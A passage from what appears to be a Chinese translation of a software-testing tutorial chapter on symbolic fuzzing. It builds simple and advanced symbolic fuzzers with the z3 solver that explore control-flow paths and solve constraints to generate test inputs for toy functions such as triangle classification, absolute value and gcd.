+    Or(And(And(abs2_x < 0, abs2_v_0 == -abs2_x),
+           abs2_v == abs2_v_0),
+       And(And(Not(abs2_x < 0), abs2_v_1 == abs2_x),
+           abs2_v == abs2_v_1)))
+
+```
+
+要获得`line: 3`的真实谓词集，我们需要从`line: 2`中添加谓词。
+
+```py
+l3 = z3.And(l2, l3_)
+
+```
+
+```py
+l3
+
+```
+
+```py
+And(And(a == abs1_x,
+        a1 == abs1_v,
+        Or(And(And(abs1_x < 0, abs1_v_0 == -abs1_x),
+               abs1_v == abs1_v_0),
+           And(And(Not(abs1_x < 0), abs1_v_1 == abs1_x),
+               abs1_v == abs1_v_1))),
+    And(b == abs2_x,
+        b1 == abs2_v,
+        Or(And(And(abs2_x < 0, abs2_v_0 == -abs2_x),
+               abs2_v == abs2_v_0),
+           And(And(Not(abs2_x < 0), abs2_v_1 == abs2_x),
+               abs2_v == abs2_v_1))))
+
+```
+
+使用z3可以简化此方程式。
+
+```py
+z3.simplify(l3)
+
+```
+
+```py
+And(a == abs1_x,
+    a1 == abs1_v,
+    Or(And(Not(0 <= abs1_x),
+           abs1_v_0 == -1*abs1_x,
+           abs1_v == abs1_v_0),
+       And(0 <= abs1_x,
+           abs1_v_1 == abs1_x,
+           abs1_v == abs1_v_1)),
+    b == abs2_x,
+    b1 == abs2_v,
+    Or(And(Not(0 <= abs2_x),
+           abs2_v_0 == -1*abs2_x,
+           abs2_v == abs2_v_0),
+       And(0 <= abs2_x,
+           abs2_v_1 == abs2_x,
+           abs2_v == abs2_v_1)))
+
+```
+
+来到`line: 4`，我们有一个条件。
+
+```py
+l4_cond = a1 > b1
+l4 = z3.And(l3, l4_cond)
+
+```
+
+对于`line: 5`，假设我们采用 *IF* 分支，则定义符号变量`c_0`。
+
+```py
+c_0 = z3.Real('c_0')
+l5 = z3.And(l4, c_0 == a1)
+
+```
+
+对于`line: 6`，采用了 *ELSE* 分支。 因此，我们反转了这种条件。
+
+```py
+l6 = z3.And(l3, z3.Not(l4_cond))
+
+```
+
+对于`line: 7`，我们定义`c_1`。
+
+```py
+c_1 = z3.Real('c_1')
+l7 = z3.And(l6, c_1 == b1)
+
+```
+
+```py
+s1 = z3.Solver()
+s1.add(l5)
+s1.check()
+
+```
+
+```py
+sat
+
+```
+
+```py
+m1 = s1.model()
+sorted([(d, m1[d]) for d in m1.decls() if not d.name(
+).startswith('abs')], key=lambda x: x[0].name())
+
+```
+
+```py
+[(a, 1/2), (a1, 1/2), (b, 0), (b1, 0), (c_0, 1/2)]
+
+```
+
+```py
+s2 = z3.Solver()
+s2.add(l7)
+s2.check()
+
+```
+
+```py
+sat
+
+```
+
+```py
+m2 = s2.model()
+sorted([(d, m2[d]) for d in m2.decls() if not d.name(
+).startswith('abs')], key=lambda x: x[0].name())
+
+```
+
+```py
+[(a, 0), (a1, 0), (b, 0), (b1, 0), (c_1, 0)]
+
+```
+
+我们真正想做的是使这个过程自动化，因为手工完成既繁琐又容易出错。 本质上，我们希望能够提取程序中的所有路径*，并象征性地执行每个路径，这将生成覆盖程序所有可访问部分所需的输入。*
+
+## SimpleSymbolicFuzzer
+
+我们定义了一个简单的*符号模糊器*，它可以根据以下假设以符号形式生成输入值*：*
+
+*   程序中没有循环
+*   该功能是自包含的。
+*   没有递归。
+*   没有变量的重新分配。
+
+关键思想如下：我们从入口点开始遍历控制流程图，并生成到给定深度的所有可能路径。 然后，我们收集沿路径遇到的约束，并生成将遍历程序的输入。
+
+我们基于类`Fuzzer`构建我们的模糊器。
+
+```py
+from [Fuzzer](Fuzzer.html) import Fuzzer
+
+```
+
+我们首先提取传递的函数的控制流程图。 我们还为子类提供了一个挂钩来进行处理。
+
+```py
+class SimpleSymbolicFuzzer(Fuzzer):
+    def __init__(self, fn, **kwargs):
+        self.fn_name = fn.__name__
+        py_cfg = PyCFG()
+        py_cfg.gen_cfg(inspect.getsource(fn))
+        self.fnenter, self.fnexit = py_cfg.functions[self.fn_name]
+        self.used_variables = used_vars(fn)
+        self.fn_args = list(inspect.signature(fn).parameters)
+        self.z3 = z3.Solver()
+
+        self.paths = None
+        self.last_path = None
+
+        self.options(kwargs)
+        self.process()
+
+    def process(self):
+        pass
+
+```
+
+我们需要一些变量来控制我们愿意遍历多少。
+
+`MAX_DEPTH`是应尝试跟踪执行的深度。
+
+```py
+MAX_DEPTH = 100
+
+```
+
+`MAX_TRIES`是我们放弃之前尝试产生值的最大尝试次数。
+
+```py
+MAX_TRIES = 100
+
+```
+
+`MAX_ITER`是我们将尝试的迭代次数。
+
+```py
+MAX_ITER = 100
+
+```
+
+`options()`方法在模糊类中设置这些参数。
+
+```py
+class SimpleSymbolicFuzzer(SimpleSymbolicFuzzer):
+    def options(self, kwargs):
+        self.max_depth = kwargs.get('max_depth', MAX_DEPTH)
+        self.max_tries = kwargs.get('max_tries', MAX_TRIES)
+        self.max_iter = kwargs.get('max_iter', MAX_ITER)
+        self._options = kwargs
+
+```
+
+初始化生成控制流程图，并将其挂接到`fnenter`和`fnexit`。
+
+```py
+symfz_ct = SimpleSymbolicFuzzer(check_triangle)
+
+```
+
+```py
+symfz_ct.fnenter, symfz_ct.fnexit
+
+```
+
+```py
+(id:9 line[1] parents: [] : enter: check_triangle(a, b, c),
+ id:10 line[1] parents: [14, 15, 16, 19, 20, 21] : exit: check_triangle(a, b, c))
+
+```
+
+### 生成所有可能的路径
+
+我们可以使用从`fnenter`开始的过程`get_all_paths()`递归地检索函数中的所有路径。
+
+想法如下：从函数入口点`fenter`开始，然后使用CFG递归地跟随子代。 在任何节点上都有一个分支，将有多个子节点。 在其他节点上，将只有一个孩子。 假设一个节点有$ n $个子节点。 这样的节点将导致$ n $路径。 我们将当前节点附加到每个路径的开头，并返回由此生成的所有路径。
+
+```py
+class SimpleSymbolicFuzzer(SimpleSymbolicFuzzer):
+    def get_all_paths(self, fenter, depth=0):
+        if depth > self.max_depth:
+            raise Exception('Maximum depth exceeded')
+        if not fenter.children:
+            return [[(0, fenter)]]
+
+        fnpaths = []
+        for idx, child in enumerate(fenter.children):
+            child_paths = self.get_all_paths(child, depth + 1)
+            for path in child_paths:
+                # In a conditional branch, idx is 0 for IF, and 1 for Else
+                fnpaths.append([(idx, fenter)] + path)
+        return fnpaths
+
+```
+
+可以如下使用。
+
+```py
+symfz_ct = SimpleSymbolicFuzzer(check_triangle)
+paths = symfz_ct.get_all_paths(symfz_ct.fnenter)
+print(len(paths))
+paths[1]
+
+```
+
+```py
+6
+
+```
+
+```py
+[(0, id:24 line[1] parents: [] : enter: check_triangle(a, b, c)),
+ (0, id:26 line[2] parents: [24] : _if: a == b),
+ (0, id:27 line[3] parents: [26] : _if: a == c),
+ (1, id:28 line[4] parents: [27] : _if: b == c),
+ (0, id:30 line[7] parents: [28] : return 'Isosceles'),
+ (0,
+  id:25 line[1] parents: [29, 30, 31, 34, 35, 36] : exit: check_triangle(a, b, c))]
+
+```
+
+我们将`get_all_paths()`挂接到初始化，如下所示。
+
+```py
+class SimpleSymbolicFuzzer(SimpleSymbolicFuzzer):
+    def process(self):
+        self.paths = self.get_all_paths(self.fnenter)
+        self.last_path = len(self.paths)
+
+```
+
+### 提取所有约束
+
+对于任何给定的路径，我们定义一个函数`extract_constraints()`来提取约束，以便它们可以直接用 *Z3* 执行。 `idx`代表所采取的特定分支。 因此，如果`False`分支是有条件的，则附加条件的否定。
+
+```py
+class SimpleSymbolicFuzzer(SimpleSymbolicFuzzer):
+    def extract_constraints(self, path):
+        predicates = []
+        for (idx, elt) in path:
+            if isinstance(elt.ast_node, ast.AnnAssign):
+                if elt.ast_node.target.id in {'_if', '_while'}:
+                    s = to_src(elt.ast_node.annotation)
+                    predicates.append(("%s" if idx == 0 else "z3.Not%s") % s)
+                elif isinstance(elt.ast_node.annotation, ast.Call):
+                    assert elt.ast_node.annotation.func.id == self.fn_name
+                else:
+                    node = elt.ast_node
+                    t = ast.Compare(node.target, [ast.Eq()], [node.value])
+                    predicates.append(to_src(t))
+            elif isinstance(elt.ast_node, ast.Assign):
+                node = elt.ast_node
+                t = ast.Compare(node.targets[0], [ast.Eq()], [node.value])
+                predicates.append(to_src(t))
+            else:
+                pass
+        return predicates
+
+```
+
+```py
+symfz_ct = SimpleSymbolicFuzzer(check_triangle)
+paths = symfz_ct.get_all_paths(symfz_ct.fnenter)
+symfz_ct.extract_constraints(paths[0])
+
+```
+
+```py
+['(a == b)', '(a == c)', '(b == c)']
+
+```
+
+```py
+constraints = symfz_ct.extract_constraints(paths[1])
+constraints
+
+```
+
+```py
+['(a == b)', '(a == c)', 'z3.Not(b == c)']
+
+```
+
+### 使用简单符号模糊器[进行模糊处理](#Fuzzing-with-Simple-Symbolic-Fuzzer)
+
+为了实际生成解决方案，我们定义`fuzz()`。 为此，我们需要首先提取所有路径。 然后选择一条特定的路径，并提取该路径中的约束，然后使用 *z3* 进行求解。
+
+```py
+from [contextlib](https://docs.python.org/3/library/contextlib.html) import contextmanager
+
+```
+
+首先，我们为当前求解器创建一个检查点，以便我们可以检查谓词，并在必要时回滚。
+
+```py
+@contextmanager
+def checkpoint(z3solver):
+    z3solver.push()
+    yield z3solver
+    z3solver.pop()
+
+```
+
+`use_path()`函数提取单个函数的约束，将其应用于当前的求解器（在检查点下），如果可以找到一些解，则返回结果。 如果找到了解决方案，我们还确保我们永远不会重复使用这些解决方案。
+
+```py
+class SimpleSymbolicFuzzer(SimpleSymbolicFuzzer):
+    def solve_path_constraint(self, path):
+        # re-initializing does not seem problematic.
+        # a = z3.Int('a').get_id() remains the same.
+        constraints = self.extract_constraints(path)
+        decl = define_symbolic_vars(self.used_variables, '')
+        exec(decl)
+
+        solutions = {}
+        with checkpoint(self.z3):
+            st = 'self.z3.add(%s)' % ', '.join(constraints)
+            eval(st)
+            if self.z3.check() != z3.sat:
+                return {}
+            m = self.z3.model()
+            solutions = {d.name(): m[d] for d in m.decls()}
+            my_args = {k: solutions.get(k, None) for k in self.fn_args}
+        predicate = 'z3.And(%s)' % ','.join(
+            ["%s == %s" % (k, v) for k, v in my_args.items()])
+        eval('self.z3.add(z3.Not(%s))' % predicate)
+        return my_args
+
+```
+
+我们定义`get_path()`来检索当前路径并更新所使用的路径。
+
+```py
+class SimpleSymbolicFuzzer(SimpleSymbolicFuzzer):
+    def get_next_path(self):
+        self.last_path -= 1
+        if self.last_path == -1:
+            self.last_path = len(self.paths) - 1
+        return self.paths[self.last_path]
+
+```
+
+`fuzz()`方法仅按顺序求解每个路径。
+
+```py
+class SimpleSymbolicFuzzer(SimpleSymbolicFuzzer):
+    def fuzz(self):
+        for i in range(self.max_tries):
+            res = self.solve_path_constraint(self.get_next_path())
+            if res:
+                return res
+        return {}
+
+```
+
+模糊器可以如下使用。
+
+```py
+a, b, c = None, None, None
+symfz_ct = SimpleSymbolicFuzzer(check_triangle)
+for i in range(1, 10):
+    r = symfz_ct.fuzz()
+    v = check_triangle(r['a'].as_long(), r['b'].as_long(), r['c'].as_long())
+    print(r, "result:", v)
+
+```
+
+```py
+{'a': 0, 'b': 1, 'c': 1} result: Isosceles
+{'a': 1, 'b': 2, 'c': 3} result: Scalene
+{'a': 2, 'b': 0, 'c': 2} result: Isosceles
+{'a': 0, 'b': 0, 'c': 4} result: Isosceles
+{'a': 1, 'b': 1, 'c': 1} result: Equilateral
+{'a': 2, 'b': 3, 'c': 3} result: Isosceles
+{'a': 4, 'b': 5, 'c': 6} result: Scalene
+{'a': 4, 'b': 2, 'c': 4} result: Isosceles
+{'a': 2, 'b': 2, 'c': 5} result: Isosceles
+
+```
+
+```py
+symfz_av = SimpleSymbolicFuzzer(abs_value)
+for i in range(1, 10):
+    r = symfz_av.fuzz()
+    v = abs_value(r['x'].numerator_as_long() / r['x'].denominator_as_long())
+    print(r, "result:", v)
+
+```
+
+```py
+{'x': 0} result: 0.0
+{'x': -1} result: 1.0
+{'x': 1} result: 1.0
+{'x': -1/2} result: 0.5
+{'x': 1/2} result: 0.5
+{'x': -3/4} result: 0.75
+{'x': 1/4} result: 0.25
+{'x': -2} result: 2.0
+{'x': 1/8} result: 0.125
+
+```
+
+*SimpleSymbolicFuzzer* 似乎对我们上面检查过的*简单*程序运行良好。
+
+### 简单模糊器的问题
+
+如前所述，`SimpleSymbolicFuzzer`尚无法处理变量重新分配。 此外，它也无法解决任何循环问题。 例如，考虑以下程序。
+
+```py
+def gcd(a: int, b: int) -> int:
+    if a < b:
+        c: int = a
+        a = b
+        b = c
+
+    while b != 0:
+        c: int = a
+        a = b
+        b = c % b
+    return a
+
+```
+
+```py
+show_cfg(gcd)
+
+```
+
+<svg height="672pt" viewBox="0.00 0.00 287.52 672.00" width="288pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 668)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="175.8437" y="-638.3">1: enter: gcd(a, b)</text></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="175.8437" y="-561.3">2: if: a < b</text></g> <g class="edge" id="edge2"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.8437" y="-91.3">1: exit: gcd(a, b)</text></g> <g class="node" id="node3"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.8437" y="-168.3">11: return a</text></g> <g class="edge" id="edge1"><title>11->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="135.8437" y="-474.3">3: c: int = a</text></g> <g class="edge" id="edge3"><title>3->4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="163.3437" y="-517.8">T</text></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="184.8437" y="-255.3">7: while: b != 0</text></g> <g class="edge" id="edge7"><title>3->7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="219.8437" y="-401.3">F</text></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="146.8437" y="-401.3">4: a = b</text></g> <g class="edge" id="edge4"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="154.8437" y="-328.3">5: b = c</text></g> <g class="edge" id="edge5"><title>5->6</title></g> <g class="edge" id="edge6"><title>6->7</title></g> <g class="edge" id="edge12"><title>7->11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="140.8437" y="-211.8">F</text></g> <g class="node" id="node10"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="184.8437" y="-168.3">8: c: int = a</text></g> <g class="edge" id="edge9"><title>7->8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="189.3437" y="-211.8">T</text></g> <g class="node" id="node9"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="232.8437" y="-14.3">10: b = c % b</text></g> <g class="edge" id="edge8"><title>10->7</title></g> <g class="node" id="node11"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="201.8437" y="-91.3">9: a = b</text></g> <g class="edge" id="edge10"><title>8->9</title></g> <g class="edge" id="edge11"><title>9->10</title></g></g></svg>
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+with ExpectError():
+    symfz_gcd = SimpleSymbolicFuzzer(gcd, max_depth=1000, max_iter=10)
+    for i in range(1, 100):
+        r = symfz_gcd.fuzz()
+        v = gcd(r['a'].as_long(), r['b'].as_long())
+        print(r, v)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-122-81ef1b3c9fa1>", line 2, in <module>
+    symfz_gcd = SimpleSymbolicFuzzer(gcd, max_depth=1000, max_iter=10)
+  File "<ipython-input-99-bfa1b98c03e8>", line 15, in __init__
+    self.process()
+  File "<ipython-input-108-6bc97a9e8eb0>", line 3, in process
+    self.paths = self.get_all_paths(self.fnenter)
+  File "<ipython-input-106-3dd7b055ae0f>", line 10, in get_all_paths
+    child_paths = self.get_all_paths(child, depth + 1)
+  File "<ipython-input-106-3dd7b055ae0f>", line 10, in get_all_paths
+    child_paths = self.get_all_paths(child, depth + 1)
+  File "<ipython-input-106-3dd7b055ae0f>", line 10, in get_all_paths
+    child_paths = self.get_all_paths(child, depth + 1)
+  [Previous line repeated 998 more times]
+  File "<ipython-input-106-3dd7b055ae0f>", line 4, in get_all_paths
+    raise Exception('Maximum depth exceeded')
+Exception: Maximum depth exceeded (expected)
+
+```
+
+这里的问题是我们的 *SimpleSymbolicFuzzer* 没有循环和变量重新分配的概念。 接下来，我们将看到如何解决此缺陷。
+
+## 高级符号模糊器
+
+接下来，我们定义`AdvancedSymbolicFuzzer`，它可以处理循环的重新分配和*展开。*
+
+```py
+class AdvancedSymbolicFuzzer(SimpleSymbolicFuzzer):
+    def options(self, kwargs):
+        super().options(kwargs)
+
+```
+
+一旦允许重新分配并展开循环，就必须处理如何调用生成的新变量。 这就是我们接下来要解决的问题。
+
+### 处理重新评估
+
+我们想重命名表达式中存在的所有变量，以便使用其使用计数来注释这些变量。 这使得确定可变的重新分配成为可能。 为此，我们定义`rename_variables()`函数，当给定`env`包含不同变量的当前使用索引时，该函数将使用注释对传入的AST节点中的变量进行重命名，并返回带有修改的副本。 请注意，此处我们不能使用 [NodeTransformer](https://docs.python.org/3/library/ast.html#ast.NodeTransformer) ，因为它会修改AST。
+
+也就是说，如果表达式为`env[v] == 1`，则将`v`重命名为`_v_1`
+
+```py
+def rename_variables(astnode, env):
+    if isinstance(astnode, ast.BoolOp):
+        fn = 'z3.And' if isinstance(astnode.op, ast.And) else 'z3.Or'
+        return ast.Call(
+            ast.Name(fn, None),
+            [rename_variables(i, env) for i in astnode.values], [])
+    elif isinstance(astnode, ast.BinOp):
+        return ast.BinOp(
+            rename_variables(astnode.left, env), astnode.op,
+            rename_variables(astnode.right, env))
+    elif isinstance(astnode, ast.UnaryOp):
+        if isinstance(astnode.op, ast.Not):
+            return ast.Call(
+                ast.Name('z3.Not', None),
+                [rename_variables(astnode.operand, env)], [])
+        else:
+            return ast.UnaryOp(astnode.op,
+                               rename_variables(astnode.operand, env))
+    elif isinstance(astnode, ast.Call):
+        return ast.Call(astnode.func,
+                        [rename_variables(i, env) for i in astnode.args],
+                        astnode.keywords)
+    elif isinstance(astnode, ast.Compare):
+        return ast.Compare(
+            rename_variables(astnode.left, env), astnode.ops,
+            [rename_variables(i, env) for i in astnode.comparators])
+    elif isinstance(astnode, ast.Name):
+        if astnode.id not in env:
+            env[astnode.id] = 0
+        num = env[astnode.id]
+        return ast.Name('_%s_%d' % (astnode.id, num), astnode.ctx)
+    elif isinstance(astnode, ast.Return):
+        return ast.Return(rename_variables(astnode.value, env))
+    else:
+        return astnode
+
+```
+
+为了验证它是否可以正常工作，我们从环境开始。
+
+```py
+env = {'x': 1}
+
+```
+
+```py
+ba = get_expression('x == 1 and y == 2')
+type(ba)
+
+```
+
+```py
+_ast.BoolOp
+
+```
+
+```py
+assert to_src(rename_variables(ba, env)) == 'z3.And(_x_1 == 1, _y_0 == 2)'
+
+```
+
+```py
+bo = get_expression('x == 1 or y == 2')
+type(bo.op)
+
+```
+
+```py
+_ast.Or
+
+```
+
+```py
+assert to_src(rename_variables(bo, env)) == 'z3.Or(_x_1 == 1, _y_0 == 2)'
+
+```
+
+```py
+b = get_expression('x + y')
+type(b)
+
+```
+
+```py
+_ast.BinOp
+
+```
+
+```py
+assert to_src(rename_variables(b, env)) == '(_x_1 + _y_0)'
+
+```
+
+```py
+u = get_expression('-y')
+type(u)
+
+```
+
+```py
+_ast.UnaryOp
+
+```
+
+```py
+assert to_src(rename_variables(u, env)) == '(-_y_0)'
+
+```
+
+```py
+un = get_expression('not y')
+type(un.op)
+
+```
+
+```py
+_ast.Not
+
+```
+
+```py
+assert to_src(rename_variables(un, env)) == 'z3.Not(_y_0)'
+
+```
+
+```py
+c = get_expression('x == y')
+type(c)
+
+```
+
+```py
+_ast.Compare
+
+```
+
+```py
+assert to_src(rename_variables(c, env)) == '(_x_1 == _y_0)'
+
+```
+
+```py
+f = get_expression('fn(x,y)')
+type(f)
+
+```
+
+```py
+_ast.Call
+
+```
+
+```py
+assert to_src(rename_variables(f, env)) == 'fn(_x_1, _y_0)'
+
+```
+
+```py
+env
+
+```
+
+```py
+{'x': 1, 'y': 0}
+
+```
+
+接下来，我们要处理CFG，并正确转换路径。
+
+### 跟踪分配
+
+为了跟踪CFG中的分配，我们定义了存储当前CFG节点的数据结构`PNode`。
+
+```py
+class PNode:
+    def __init__(self, idx, cfgnode, parent=None, order=0, seen=None):
+        self.seen = {} if seen is None else seen
+        self.max_iter = MAX_ITER
+        self.idx, self.cfgnode, self.parent, self.order = idx, cfgnode, parent, order
+
+    def __repr__(self):
+        return "PNode:%d[%s order:%d]" % (self.idx, str(self.cfgnode),
+                                          self.order)
+
+```
+
+定义新的`PNode`的步骤如下。
+
+```py
+cfg = PyCFG()
+cfg.gen_cfg(inspect.getsource(gcd))
+gcd_fnenter, _ = cfg.functions['gcd']
+
+```
+
+```py
+PNode(0, gcd_fnenter)
+
+```
+
+```py
+PNode:0[id:27 line[1] parents: [] : enter: gcd(a, b) order:0]
+
+```
+
+`copy()`方法会为孩子的守门生成一份副本，指示使用了哪个路径（孩子的`order`）。
+
+```py
+class PNode(PNode):
+    def copy(self, order):
+        p = PNode(self.idx, self.cfgnode, self.parent, order, self.seen)
+        assert p.order == order
+        return p
+
+```
+
+使用复制操作。
+
+```py
+PNode(0, gcd_fnenter).copy(1)
+
+```
+
+```py
+PNode:0[id:27 line[1] parents: [] : enter: gcd(a, b) order:1]
+
+```
+
+#### 逐步探索路径
+
+我们在使用`SimpleSymbolicFuzzer`时遇到的一个问题是，它在尝试另一个之前就探索了一条完成之路。 但是，这不是最佳的。 可能希望以一种更逐步的方式浏览该图，一次将一个可能的执行扩展到一个步骤。
+
+因此，我们定义`explore()`，它一次探索一个节点的子节点（如果有）。 如果做得很详尽，这将生成从起始节点开始的所有路径，直到不再剩下子代为止。 我们将`PNode`设置为容器类，以便可以从外部驱动此迭代，如果说最大迭代已完成或需要确定某些路径的优先级，则停止该迭代。
+
+```py
+class PNode(PNode):
+    def explore(self):
+        ret = []
+        for (i, n) in enumerate(self.cfgnode.children):
+            key = "[%d]%s" % (self.idx + 1, n)
+            ccount = self.seen.get(key, 0)
+            if ccount > self.max_iter:
+                continue  # drop this child
+            self.seen[key] = ccount + 1
+            pn = PNode(self.idx + 1, n, self.copy(i), seen=self.seen)
+            ret.append(pn)
+        return ret
+
+```
+
+我们可以如下使用`explore()`。
+
+```py
+PNode(0, gcd_fnenter).explore()
+
+```
+
+```py
+[PNode:1[id:29 line[2] parents: [27] : _if: a < b order:0]]
+
+```
+
+```py
+PNode(0, gcd_fnenter).explore()[0].explore()
+
+```
+
+```py
+[PNode:2[id:30 line[3] parents: [29] : c: int = a order:0],
+ PNode:2[id:33 line[7] parents: [32, 29, 36] : _while: b != 0 order:0]]
+
+```
+
+方法`get_path_to_root()`递归地通过子>父链检索完整链到最高父链。
+
+```py
+class PNode(PNode):
+    def get_path_to_root(self):
+        path = []
+        n = self
+        while n:
+            path.append(n)
+            n = n.parent
+        return list(reversed(path))
+
+```
+
+```py
+p = PNode(0, gcd_fnenter)
+[s.get_path_to_root() for s in p.explore()[0].explore()[0].explore()[0].explore()]
+
+```
+
+```py
+[[PNode:0[id:27 line[1] parents: [] : enter: gcd(a, b) order:0],
+  PNode:1[id:29 line[2] parents: [27] : _if: a < b order:0],
+  PNode:2[id:30 line[3] parents: [29] : c: int = a order:0],
+  PNode:3[id:31 line[4] parents: [30] : a = b order:0],
+  PNode:4[id:32 line[5] parents: [31] : b = c order:0]]]
+
+```
+
+节点的字符串表示形式为`z3`可解形式。
+
+```py
+class PNode(PNode):
+    def __str__(self):
+        path = self.get_path_to_root()
+        ssa_path = to_single_assignment_predicates(path)
+        return ', '.join([to_src(p) for p in ssa_path])
+
+```
+
+但是，在使用它之前，我们需要注意变量重命名，以便重新分配可以正常工作。
+
+#### 重命名使用的变量
+
+我们需要重命名使用过的变量。 任何变量`v = xxx`都应重命名为`_v_0`，任何更高的赋值（例如`v = v + 1`）都应转换为`_v_1 = _v_0 + 1`，更高的条件（例如`v == x`）应转换为`(_v_1 == _x_0)`。 方法`to_single_assignment_predicates()`针对给定路径执行此操作。
+
+```py
+def to_single_assignment_predicates(path):
+    env = {}
+    new_path = []
+    for i, node in enumerate(path):
+        ast_node = node.cfgnode.ast_node
+        new_node = None
+        if isinstance(ast_node, ast.AnnAssign) and ast_node.target.id in {
+                'exit'}:
+            new_node = None
+        elif isinstance(ast_node, ast.AnnAssign) and ast_node.target.id in {'enter'}:
+            args = [
+                ast.parse(
+                    "%s == _%s_0" %
+                    (a.id, a.id)).body[0].value for a in ast_node.annotation.args]
+            new_node = ast.Call(ast.Name('z3.And', None), args, [])
+        elif isinstance(ast_node, ast.AnnAssign) and ast_node.target.id in {'_if', '_while'}:
+            new_node = rename_variables(ast_node.annotation, env)
+            if node.order != 0:
+                assert node.order == 1
+                new_node = ast.Call(ast.Name('z3.Not', None), [new_node], [])
+        elif isinstance(ast_node, ast.AnnAssign):
+            assigned = ast_node.target.id
+            val = [rename_variables(ast_node.value, env)]
+            env[assigned] = 0 if assigned not in env else env[assigned] + 1
+            target = ast.Name('_%s_%d' %
+                              (ast_node.target.id, env[assigned]), None)
+            new_node = ast.Expr(ast.Compare(target, [ast.Eq()], val))
+        elif isinstance(ast_node, ast.Assign):
+            assigned = ast_node.targets[0].id
+            val = [rename_variables(ast_node.value, env)]
+            env[assigned] = 0 if assigned not in env else env[assigned] + 1
+            target = ast.Name('_%s_%d' %
+                              (ast_node.targets[0].id, env[assigned]), None)
+            new_node = ast.Expr(ast.Compare(target, [ast.Eq()], val))
+        elif isinstance(ast_node, (ast.Return, ast.Pass)):
+            new_node = None
+        else:
+            s = "NI %s  %s" % (type(ast_node), ast_node.target.id)
+            raise Exception(s)
+        new_path.append(new_node)
+    return new_path
+
+```
+
+Here is how it can be used:
+
+```py
+p = PNode(0, gcd_fnenter)
+path = p.explore()[0].explore()[0].explore()[0].get_path_to_root()
+spath = to_single_assignment_predicates(path)
+
+```
+
+```py
+[to_src(s) for s in spath]
+
+```
+
+```py
+['z3.And(a == _a_0, b == _b_0)',
+ '(_a_0 < _b_0)',
+ '_c_0 == _a_0',
+ '_a_1 == _b_0']
+
+```
+
+#### 循环之前检查
+
+*圆锥形*执行简化*符号*执行的方式之一是处理循环。 与其尝试确定循环的不变性，不如简单地将*展开*循环数次，直到达到`MAX_DEPTH`极限。 但是，直到达到`MAX_DEPTH`时，才需要展开所有循环。 其中一些可能会在此之前退出。 因此，有必要在继续探索之前检查是否可以满足给定的约束集。
+
+```py
+def identifiers_with_types(identifiers, defined):
+    with_types = dict(defined)
+    for i in identifiers:
+        if i[0] == '_':
+            nxt = i[1:].find('_', 1)
+            name = i[1:nxt + 1]
+            assert name in defined
+            typ = defined[name]
+            with_types[i] = typ
+    return with_types
+
+```
+
+`extract_constraints()`从路径生成`z3`约束。 主要工作由`to_single_assignment_predicates()`完成。 `extract_constraints()`然后将AST转换为源。
+
+```py
+class AdvancedSymbolicFuzzer(AdvancedSymbolicFuzzer):
+    def extract_constraints(self, path):
+        return [to_src(p) for p in to_single_assignment_predicates(path) if p]
+
+```
+
+### 解决路径约束
+
+现在，我们更新`solve_path_constraint()`方法，以考虑在重新分配期间创建的新标识符。
+
+```py
+class AdvancedSymbolicFuzzer(AdvancedSymbolicFuzzer):
+    def solve_path_constraint(self, path):
+        # re-initializing does not seem problematic.
+        # a = z3.Int('a').get_id() remains the same.
+        constraints = self.extract_constraints(path)
+        identifiers = [
+            c for i in constraints for c in used_identifiers(i)]  # <- changes
+        with_types = identifiers_with_types(
+            identifiers, self.used_variables)  # <- changes
+        decl = define_symbolic_vars(with_types, '')
+        exec(decl)
+
+        solutions = {}
+        with checkpoint(self.z3):
+            st = 'self.z3.add(%s)' % ', '.join(constraints)
+            eval(st)
+            if self.z3.check() != z3.sat:
+                return {}
+            m = self.z3.model()
+            solutions = {d.name(): m[d] for d in m.decls()}
+            my_args = {k: solutions.get(k, None) for k in self.fn_args}
+        predicate = 'z3.And(%s)' % ','.join(
+            ["%s == %s" % (k, v) for k, v in my_args.items()])
+        eval('self.z3.add(z3.Not(%s))' % predicate)
+        return my_args
+
+```
+
+### 生成所有路径
+
+`get_all_paths()`现在已类似更新，因此我们仅将循环展开到指定的高度。 它也被转换为迭代探索风格，因此我们以广度优先的方式探索CFG。
+
+```py
+class AdvancedSymbolicFuzzer(AdvancedSymbolicFuzzer):
+    def get_all_paths(self, fenter):
+        path_lst = [PNode(0, fenter)]
+        completed = []
+        for i in range(self.max_iter):
+            new_paths = [PNode(0, fenter)]
+            for path in path_lst:
+                # explore each path once
+                if path.cfgnode.children:
+                    np = path.explore()
+                    for p in np:
+                        if path.idx > self.max_depth:
+                            break
+                        new_paths.append(p)
+                else:
+                    completed.append(path)
+            path_lst = new_paths
+        return completed + path_lst
+
+```
+
+现在，我们可以使用高级符号模糊器获得所有路径，如下所示。
+
+```py
+asymfz_gcd = AdvancedSymbolicFuzzer(
+    gcd, max_iter=10, max_tries=10, max_depth=10)
